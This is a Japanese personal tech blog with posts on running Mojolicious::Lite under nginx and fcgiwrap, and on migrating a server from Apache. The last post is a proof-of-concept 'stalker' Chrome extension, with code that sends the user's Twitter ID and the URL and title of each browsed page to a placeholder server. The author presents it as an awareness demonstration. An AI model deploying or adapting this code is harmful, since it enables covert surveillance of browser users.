Mojolicious::Liteでforkする。

nginx+fcgiwrap+Mojolicious::Liteでforkして、親プロセスは終了させて子プロセスで処理を続行させていたのですが、どうも親プロセスが終了してくれないように見えたので色々試していました。
(FastCGIだからこうなのかもしれないし、morboとかhypnotoadだと変わってくるかもしれないです。)

Apache+CGIの時に使ってた処理

my $pid = fork();
die "fork fault: $!" unless defined $pid;
if($pid){
	# 親プロセス
}
else{
	close(STDOUT);
	close(STDIN);
	close(STDERR);
	# 子プロセス
}

今回の処理

use POSIX 'setsid';

my $pid = fork();
die "fork fault: $!" unless defined $pid;
if($pid){
	# 親プロセス
}
else{
	setsid;
	open (STDIN, "</dev/null");
	open (STDOUT, ">/dev/null");
	open (STDERR, ">&STDOUT");
	# 子プロセス
}

設定色々いじってスクリプトとか使えなくなることが多かったのですが、ようやく移行が終わったのでしばらくは放置でいいかなと思います。(→死亡フラグ)
めんどくさいので本番環境をぶっつけでいじりまくったのですが、ログ見てたらupicoとかlistとか処理途中なのに容赦なくサーバ止めまくってたので申し訳なかったです。(※あんまり反省してない)

fcgiwrapでUNIX Socketを使おうとすると(13: Permission denied)が発生する。

php-fpmとfcgiwrapをTCP Socketで動かしていたのですが、色々調べてるうちにUNIX Socketのほうがよさそうな気がしたのでUnix Socketで動かすことにしました。
php-fpmは問題なかったのですが、fcgiwrapのほうが死んでいました。
netstat -aで調べてみてもちゃんとLISTENしてるしなーと思ってnginxのエラーログを見たら以下のエラーが出力されていました。

unix:/var/run/fcgiwrap.socket failed (13: Permission denied)

www-dataに権限がないらしいので/var/run/fcgiwrap.socketのパーミッションを777にして無理やり解決しました。どうやったら根本的に解決するんだこれ。

追記

自己解決して追記を書いてませんでした。nginxの実行ユーザがwww-dataじゃなかったのが原因でした。
/etc/nginx/nginx.confのuserでnginxの実行ユーザを変更可能です。

/etc/init.d/fcgiwrapをそれにあわせて変更するとfcgiwrap.socketのパーミッションが設定通りになります。
設定箇所は以下。
FCGI_USER=”nginxの実行ユーザ”
FCGI_GROUP=”nginxの実行グループ”

Mojolicious::Liteのルーティング先がnginxで404になる。

nginx+fcgiwrap環境に移行した時にMojolicious::Liteアプリのルーティング先(http://hoge.com/fuga.pl/route)が404なのが解消できなくてはまりました。
confファイルでlocation ~ \.pl$を指定していたのですが、よく考えたら末尾が.plで終わらない限りperlのスクリプトとして処理されないので、location ~ \.pl($|/) で解消しました。
こんな間抜けな理由ではまるのどうにかしたいです。
もともと共用のレンタルサーバでCGIで動かしてたスクリプトをそのまま移行したのと、ちょっと色々あってmorboでもhypnotoadでもPSGIでもなくFastCGIで動かしています。
ほんとはhypnotoadで動かしたいんですが…。

追記(index.plで受ける場合)

        #中略
        location / {
                root /path_to_index/;
                if (!-f $request_filename) {
                        rewrite ^/$ /index.pl last;
                        rewrite ^(.*)$ /index.pl$1 last;
                }
        }

        location ~ ^(.+\.pl)(.*)$ {
                #中略
                fastcgi_index  index.pl;
                fastcgi_param  SCRIPT_FILENAME  /path_to_script/index.pl;
        }
        #中略

もっとスマートな方法があるんだろうなと思いつつ、これしか思いつかなかったので。

HTTPサーバ入れ替えてます。

HTTPサーバをApache2からnginxに移行しています。ちゃっちゃと終わらそうと思ったんですがめんどくさくてメインのブログの移行でおわっちゃったし眠いので続きは明日やります。
listとかupicoとか色々使えないですが勘弁して下さい。
(3/24)favico!とtechnic.retrorocket.bizのブログとCGIアプリ以外は移行しました。list・upico・favについては動作確認済みです。
sslがApacheと微妙に互換性なくて戸惑いました。

悪意のChrome拡張(Chrome拡張使用者のTwitter IDとその人の見てるページをリアルタイムでストーキングする。)

本当は怖いChrome拡張機能(作ってみたら確かにヤバかった) – DRYな備忘録
やろうと思ったらAmazonとかネットショッピング系のサイトで住所抜き取ってバックのサーバに送れたりするんですよね。
全てのChrome拡張は性善説で作られてると思ってます。もちろんFirefoxのアドオンもなのですが…。

Contents Scriptだけでなく、Background Scriptも悪意を持てばいくらでも悪用できるので、ネットストーキング用の拡張を作成しました。
あくまでこういうことができるってことの証明なので、リリースはできません。
あと、完全に動くようにするとさすがにまずいので、あえてTwitterにログイン+アクセスすること前提で作っています。

内容

Chrome拡張使用者のTwitter IDと、その人がブラウジングしてるページをリアルタイムでストーカーのサーバに送る拡張。(jQuery使用)

中身

Contents Script

$(function(){
	var current = location.href;
	if(current.match(/twitter\.com/)){
		var userId = $("div.account-group").attr("data-screen-name");
		chrome.runtime.sendMessage({"userId": userId}, function(response) {
		});
	}
	else {
		chrome.runtime.sendMessage({"stalker": true}, function(response) {
		});
	}
});

Background Script

chrome.runtime.onMessage.addListener(
		function(request, sender, sendResponse) {
			if (request.userId){
				localStorage.setItem("userId",request.userId);
			}
			if(localStorage.userId && request.stalker){
				chrome.tabs.getSelected(window.id, function (tab) {
					console.log(localStorage.userId+ " " + tab.url + " " + tab.title);
					$.post(
						"http://hogehoge.com", //ストーカーのサーバ
						{"userId": localStorage.userId, "url":  tab.url, "title": tab.title}//ストーキングするデータ
						);
				});
			}
			sendResponse({complete: true});
		}
	);

※manifest.jsonは割愛。

結果

結果はこんな感じ。

結果はこんな感じ。

自分で作っておいてあれですが、権限を確認しないとめちゃくちゃ怖いなーって思いました。(Androidのアプリでもそうですが)
今回はTwitter IDとブラウジングしてるページを紐付けしてますが、結局どんなものにも紐付けできるので、ひょっとしたら個人が特定できてしまうかもとか思いました。
たとえコードがGithubに公開してあったとしても、コードがそのまま使われてる保証なんてどこにもないので、ローカルのコードと権限は確認して使いたいですね。
最初から騙そうと思って騙してくる人や悪意を持って何かをしようと思ってる人には勝てないということを心に留めておくべきでしょう。

書いてから気づいた

これ別にbackground.js使う必要なかったですね…。
※Backgroundで通信してる内容は自分の開いてるタブから追いかけられないのでバレにくい、っていうのはストーキングする側ではメリットかもしれません。